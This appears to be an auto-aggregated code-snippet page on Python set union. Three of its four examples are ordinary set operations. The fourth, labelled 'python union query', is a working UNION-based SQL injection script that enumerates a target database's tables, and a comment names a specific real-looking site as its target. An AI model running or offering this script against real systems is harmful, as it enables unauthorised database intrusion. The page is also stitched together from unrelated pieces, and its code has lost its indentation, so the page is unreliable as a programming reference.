union of sets python code example
Example 1: set except python
# Program to perform different set operations
# as we do in mathematics
# sets are define
A = {0, 2, 4, 6, 8};
B = {1, 2, 3, 4, 5};
# union
print("Union :", A | B)
# intersection
print("Intersection :", A & B)
# difference
print("Difference :", A - B)
# symmetric difference
print("Symmetric difference :", A ^ B)
Example 2: unique element intersection python
#get name1 and name2 as a list input
name1 =list("".join(str(x)for x in input("Enter name1").replace(" ","")))
name2 =list("".join(str(x)for x in input("Enter name2").replace(" ","")))
#check using list comprehension if x in name1 is in name2
#this will return multiple instances of the same character from name1 that matches with the name2
common = [x for x in name1 if x in name2]
#create a set out of the output so as to have only unique values of the repeated characters
unique = set(common)
#thus the above set will have common unrepeated characters from both names
#create a variable and initialize it to zero
d=0
#run a loop that checks the minimum occurrence of
#the character from the set in name1 & name2
#Minimum because for ex: a might exist thrice in name1, but only twice in name2
#we will need to take only 2 common occurrences from the name2
#thus finding the minimum occurrence of the character from both names
for x in unique:
d = d + min(name1.count(x),name2.count(x))
#multiplying by two, because if one character from name 1 matches with one,
#character from name2, then it makes two in total
difference = (len(name1) + len(name2)) - d*2
print(difference)
Example 3: .union in python
set1 = {2, 4, 5, 6}
set2 = {4, 6, 7, 8}
set3 = {7, 8, 9, 10}
# union of two sets
print("set1 U set2 : ", set1.union(set2))
# union of three sets
print("set1 U set2 U set3 :", set1.union(set2, set3))
Example 4: python union query
# pip install requests
import requests
def main():
# http://www.meggieschneider.com/php/detail.php?id=48
url = input('Target: ')
idx = 0
while True:
nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
if idx > 0:
nulls = ', ' + nulls
req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
print(f'''\n
{req}
''')
r = requests.get(f'{url}?{req}')
if 'The used SELECT statements have a different number of columns' not in str(r.content):
print(f'''\n
{r.text}
''')
break
idx = idx + 1
if __name__ == '__main__':
main()